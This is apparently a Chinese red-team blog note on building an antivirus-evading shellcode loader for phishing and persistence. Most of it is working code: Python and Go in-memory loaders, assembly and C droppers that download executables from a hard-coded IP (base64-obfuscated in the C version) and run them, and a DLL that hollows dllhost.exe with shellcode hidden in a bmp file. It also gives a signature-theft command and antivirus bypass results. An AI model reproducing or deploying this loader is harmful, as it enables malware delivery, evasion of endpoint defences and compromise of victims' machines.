前言

之前hvv的時候有條件釣魚的情況下也沒有想著去嘗試,一方面是免殺的工作沒準備好。

一方面是如何釣好魚,發現這些都需要提前花大量的時間先去準備好,所以這篇寫了shellcode白加黑加載器工具方便釣魚之后一系列的權限維持和上線的操作

追求更好的免殺效果可以參考重寫beacon相關的文章

參考文章:https://www.cnblogs.com/zpchcbd/p/15947246.html 如何編寫shellcode

2022.11.15:花了幾天寫了這個,但是發現對于釣魚的話效果其實還是不行,所以這篇就單純記錄下了,白加黑的方式還是更適合做權限維持,這篇筆記僅供大家參考

0X00    思維導圖

0X01    啟動

為了更好的起到免殺和適配環境原因,所以啟動的四步操作均通過匯編來進行實現,之后各個語言只需要通過shellcode加載器進行加載這段shellcode即可

python shellcode loader

import ctypesimport sys
shellcode = bytes.fromhex(sys.argv[1].strip())
shellcode = bytearray(shellcode)# 設置VirtualAlloc返回類型為ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申請內存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
# 放入shellcodebuf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))# 創建一個線程從shellcode防止位置首地址開始執行handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))# 等待上面創建的線程運行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

golang shellcode loader

func loader2(sc []byte)   {//  獲取當前進程的句柄  pHandle, _ := syscall.GetCurrentProcess()  Protect := windows.PAGE_EXECUTE_READWRITE// 為shellcode分配足夠大小的內存  addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)// 將shellcode寫入內存當中  WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))//修改進程的保護屬性為可讀寫可執行  VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&Protect)))//創建線程執行shellcode  x,_, _ := CreateRemoteThread.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)    for{
    }}

信域

為了更好的規避殺毒的流量分析,自己把相關的后續操作全部都放在相對域名信任度高的地方,所以這里存儲的東西我都放在了公開存儲服務器上

上線

  • 為了讓目標上線,自己會先把惡意文件下載到目標機器上進行執行,而下載這種行為相對殺毒來說是比較敏感的,所以我盡量采取殺毒監控不嚴格的API,所以我這里通過系統dll中的下載API來進行
  • 為了更好的在目標上線之后進行惡意操作,所以我把在本地上線的時候是CreateProcess通過白加黑的方式進行的上線

簽名

參考地址:https://github.com/secretsquirrel/SigThief

python sigthief.py -i dbgview.exe -t loader.exe -o loader_a.exe

維持(未實現)

  • 為了讓權限在PC機器上更好的維持,同樣權限維持的操作也是在白加黑的方式下進行,我這里采取的是通過COM接口編寫的計劃任務進行權限維持
  • 權限維持的時候,還需要考慮當前的權限是做好高權限的權限維持還是低權限的權限維持

0X02    代碼實現

匯編版本

asm_loader.asm


.386.model flat,stdcall.stack 4096
.codeassume fs:nothingmain proc  xor ecx, ecx  mov eax, fs:[ecx + 30h]  nop  mov eax, [eax + 0ch]  nop  mov esi, [eax + 14h]  nop  lodsd  nop  xchg eax, esi  nop  lodsd  nop  mov ebx, [eax + 10h]  nop  mov edx, [ebx + 3ch]  add edx, ebx  nop  mov edx, [edx + 78h]  nop  add edx, ebx  nop  mov esi, [edx + 20h]  nop  add esi, ebx  nop  xor ecx, ecx
get_function:  inc ecx                                      ; Increment the ordinal  lodsd                                        ; Get name offset  add eax, ebx                                 ; Get function name  cmp dword ptr[eax], 50746547h               ; GetP  jnz get_function                  ;  cmp dword ptr[eax + 4h], 41636f72h           ; rocA  jnz get_function                  ;  cmp dword ptr[eax + 8h], 65726464h           ; ddre  jnz get_function                  ;  mov esi, [edx + 24h]                        ; ESI = Offset ordinals  add esi, ebx                                 ; ESI = Ordinals table  mov cx, [esi + ecx * 2]                      ; Number of function  dec ecx                        ;  mov esi, [edx + 1ch]                        ; Offset address table  add esi, ebx                                 ; ESI = Address table  mov edx, [esi + ecx * 4]                     ; EDX = Pointer(offset)  add edx, ebx                                 ; EDX = GetProcAddress
  xor ecx, ecx          ; ECX = 0  push ebx            ; Kernel32 base address  push edx            ; GetProcAddress  push ecx            ; 0  push 41797261h          ; aryA  nop  push 7262694ch          ; Libr  nop  push 64616f4ch          ; Load  push esp            ; "LoadLibrary"  push ebx            ; Kernel32 base address  call edx            ; GetProcAddress(LL)
  add esp, 0ch          ; pop "LoadLibrary"  pop ecx              ; ECX = 0
  ; 獲取inseng.dll模塊  push eax    ; EAX = LoadLibrary  push ecx  push 6c6ch    ; ll  nop  push 642e676eh  ; ng.d  nop  push 65736e69h  ; inse  push esp    ; "inseng.dll"  call eax    ; LoadLibrary("inseng.dll")
  add esp, 0ch  ; Clean stack  pop ecx      ;
  mov edx, [esp + 4h]  ; EDX = GetProcAddress  push edx
  ; GetProcAddress(DownloadFile) 導出函數  xor ecx, ecx      ; ECX = 0  push ecx  push 656C6946h      ; eilF  nop  push 64616F6Ch      ; daol  nop  push 6E776F44h      ; nwoD  nop  push esp; "DownloadFile"  push eax; kernel32.dll address  call edx; GetProcAddress(DownloadFile)
  add esp, 0ch; Cleanup stack  pop ecx;  push eax; save DownloadFile function
  ; DownloadFile("http://xxxx/test.exe", "C:\\ProgramData\\test.exe", 1);
  xor ecx,ecx  xor ebx,ebx  ; http://xxxx/test.exe  push 65h      ; e  nop  push 78652E66h ; xe.f  nop  push 64507573h ; dPus  nop  push 694A2F33h ; iJ/3  nop  push 36312E37h ; 61.7  nop  push 30312E33h ; 01.3  nop  push 34312E33h ; 41.3  nop  push 342F2F3Ah ; 4//:  nop  push 70747468h ; ptth
  ; C:\ProgramData\test.exe  push 6578h  nop  push 652e6664h  nop  push 50757369h  nop  push 4A5C6174h  nop  push 61646D61h  nop  push 72676F72h  nop  push 705c3a43h  push 1  lea ecx, [esp + 4h]  push ecx  lea ecx, [esp + 24h]  push ecx  call eax
  add esp, 38h    ; Cleanup stack  mov eax, [esp+4h]  ;
  ; DownloadFile("http://xxx/sqlite3.dll", "C:\\ProgramData\\sqlite3.dll", 1);  xor ecx,ecx  xor ebx,ebx
  ; http://xxx/sqlite3.dll  push 6Ch     ; l  nop  push 6C642E33h ; ld.3  nop  push 6574696Ch ; etil  nop  push 71732F33h ; qs/3  nop  push 36312E37h ; 61.7  nop  push 30312E33h ; 01.3  nop  push 34312E33h ; 41.3  nop  push 342F2F3Ah ; 4//:  nop  push 70747468h ; ptth
  ; C:\ProgramData\sqlite3.dll  push 6C6Ch     ; ll  nop  push 642E3365h ; d.3e  nop  push 74696C71h ; tilq  nop  push 735C6174h ; s/at  nop  push 61646D61h ; adma  nop  push 72676F72h ; rgor  nop  push 705c3a43h ; P/:c  push 1  lea ecx, [esp + 4h]  push ecx  lea ecx, [esp + 24h]  push ecx  mov eax, [esp + 4ch]  call eax
  add esp, 38h; Cleanup stack  mov eax, [esp+4h];  xor ecx, ecx
  ; DownloadFile("http://xxx/g.bmp", "C:\\ProgramData\\g.bmp", 1);  xor ecx,ecx  xor ebx,ebx
  ; http://xxx/g.bmp  push 706d62h ; pmb  nop  push 2e672F33h ; .g/3  nop  push 36312E37h ; 61.7  nop  push 30312E33h ; 01.3  nop  push 34312E33h ; 41.3  nop  push 342F2F3Ah ; 4//:  nop  push 70747468h ; ptth
  ; C:\ProgramData\gg.bmp  push 70h  nop  push 6d622e67h  nop  push 675C6174h  nop  push 61646D61h  nop  push 72676F72h  nop  push 705c3a43h  push 1  lea ecx, [esp + 4h]  push ecx  lea ecx, [esp + 20h]  push ecx  mov eax, [esp + 40h]  call eax
  add esp, 34h; Cleanup stack  xor ecx, ecx
  ;get WinExec to exec pdf.exe from kernel32.dll
  mov eax, [esp]          ; EAX = LoadLibrary  push ecx  push 6c6c642eh          ; .dll  nop  push 32336c65h          ; el32  nop  push 6e72656bh          ; kern  push esp            ; "kernel32.dll"  call eax            ; LoadLibrary("kernel32.dll")
  add esp, 0ch          ; Clean stack  pop ecx              ;
  mov edx, [esp + 4h]        ; EDX = GetProcAddress  push edx            ;  xor ecx, ecx          ; ECX = 0  push ecx            ;
  mov ecx, 61636578h  push ecx            ; xeca  sub dword ptr[esp + 3h], 61h  ; Remove "a"  nop  push 456e6957h          ;  push esp            ; "WinExec"  push eax            ; kernel32.dll address  call edx            ; GetProcAddress(WinExec)
  add esp, 8h            ; Cleanup stack  pop ecx;
  xor ecx, ecx          ; ECX = 0  xor ebx, ebx  push ecx  push 6578h  nop  push 652e6664h  nop  push 50757369h  nop  push 4A5C6174h  nop  push 61646D61h  nop  push 72676F72h  nop  push 705c3a43h  mov ebx, esp  push 0ah  push ebx
  call eax            ; calc  add esp, 1ch          ; Clean stack  pop ecx;
  xor ecx,ecx  xor ebx,ebx  mov eax, dword ptr[esp+0ch]  mov edx, dword ptr[esp]  mov ecx, 61737365h        ; essa  push ecx  sub dword ptr[esp + 3h], 61h  ; Remove "a"  push 636f7250h          ; Proc  nop  push 74697845h          ; Exit  push esp            ; ExitProcess  push eax            ; kernel32.dll base address  call edx            ; GetProc(ExitProcess)  xor ecx, ecx          ; ECX = 0  push ecx            ; Return code = 0  call eax            ; ExitProcess
main endpend main

C語言版本

#include#include  #include "base64.h"
using namespace std;
typedef UINT(CALLBACK *t_DownloadFile)(LPCSTR, LPCSTR, int);
int WinMain(
  HINSTANCE hInstance,//應用程序的實例句柄
  HINSTANCE hPrevInstance,//上一個應用程序的句柄。在win32環境下,參數一般為null,不起作用
  LPSTR IpCmdline,//char*argv[]命令行的參數
  int nShowCmd//顯示命令最大化最小化  ){  // C:\\Windows\\System32\\inseng.dll -> QzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxpbnNlbmcuZGxs  HMODULE dll = LoadLibrary(base64_decode(string("QzpcXFdpbmRvd3NcXFN5c3RlbTMyXFxpbnNlbmcuZGxs")).c_str());
  // RG93bmxvYWRGaWxl -> DownloadFile  t_DownloadFile DownloadFile = (t_DownloadFile)GetProcAddress(dll, base64_decode(string("RG93bmxvYWRGaWxl")).c_str());
  // 1  DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL0ppc3VQZGYuZXhl")).c_str(),    base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==")).c_str(), 1);
  // 2  DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL3NxbGl0ZTMuZGxs")).c_str(),    base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxzcWxpdGUzLmRsbA==")).c_str(), 1);
  // 3  DownloadFile(base64_decode(string("aHR0cDovLzQzLjE0My4xMDcuMTYzL2cuYm1w")).c_str(),    base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxnZy5ibXA=")).c_str(), 1);
  // 4  CloseHandle(dll);
  PROCESS_INFORMATION ProcessInformation;  STARTUPINFOA StartupInfo;  memset(&StartupInfo, 0, sizeof(StartupInfo));  StartupInfo.cb = 68;
  // C:\\ProgramData\\test.exe -> QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==  CreateProcess(0, (LPSTR)base64_decode(string("QzpcXFByb2dyYW1EYXRhXFxKaXN1UGRmLmV4ZQ==")).c_str(), 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &StartupInfo, &ProcessInformation);
  //WinExec("C:\\ProgramData\\test.exe", CREATE_NO_WINDOW);  TerminateProcess(GetCurrentProcess(), 0);  return 0;}

DLL部分

    FILE* fp;                  // 定義流式文件操作變量fp,FILE結構體在stdio.h里面有定義    size_t size;                // 定義文件字節數變量size    unsigned char* buffer;            // 定義緩存指針變量    fp = fopen("C:\\ProgramData\\gg.bmp", "rb");                          // fseek()負號前移,正號后移    fseek(fp, 0, SEEK_END);            // 文件指針指向文件末尾                          // ftell()返回給定流 stream 的當前文件位置    size = ftell(fp);              // size值為文件大小    fseek(fp, 0, SEEK_SET);            // 文件指針指向文件開頭    buffer = (unsigned char*)malloc(size);    // 動態申請圖片大小的內存空間(數組指針)    fread(buffer, size, 1, fp);          // 從fp讀取和顯示1個size大小的數據    CloseHandle(fp);
    char* v7A = (char*)VirtualAlloc(0, size, 0x3000u, 0x40u);    memcpy((void*)v7A, buffer, size);
    struct _PROCESS_INFORMATION ProcessInformation;    struct _STARTUPINFOA StartupInfo;    void* lp_addr;    CONTEXT Context;    DWORD DwWrite = 0;    memset(&StartupInfo, 0, sizeof(StartupInfo));    StartupInfo.cb = 68;    BOOL result = CreateProcessA(0, (LPSTR)"dllhost.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation);    if (result)    {      Context.ContextFlags = 65539;      GetThreadContext(ProcessInformation.hThread, &Context);      lp_addr = VirtualAllocEx(ProcessInformation.hProcess, 0, size, MEM_COMMIT, PAGE_READWRITE);      WriteProcessMemory(ProcessInformation.hProcess, lp_addr, v7A, size, &DwWrite);      Context.Eip = (DWORD)v24;      SetThreadContext(ProcessInformation.hThread, &Context);      ResumeThread(ProcessInformation.hThread);      CloseHandle(ProcessInformation.hThread);      result = CloseHandle(ProcessInformation.hProcess);    }    TerminateProcess(GetCurrentProcess(), 0);

0X03    殺軟測試





火絨個人版

無二開msf生成的shellcode未攔截上線

360安全衛士(非核晶狀態)

無二開msf生成的shellcode未攔截上線

defender

無二開msf生成的shellcode未攔截上線

麥咖啡

無二開msf生成的shellcode被攔截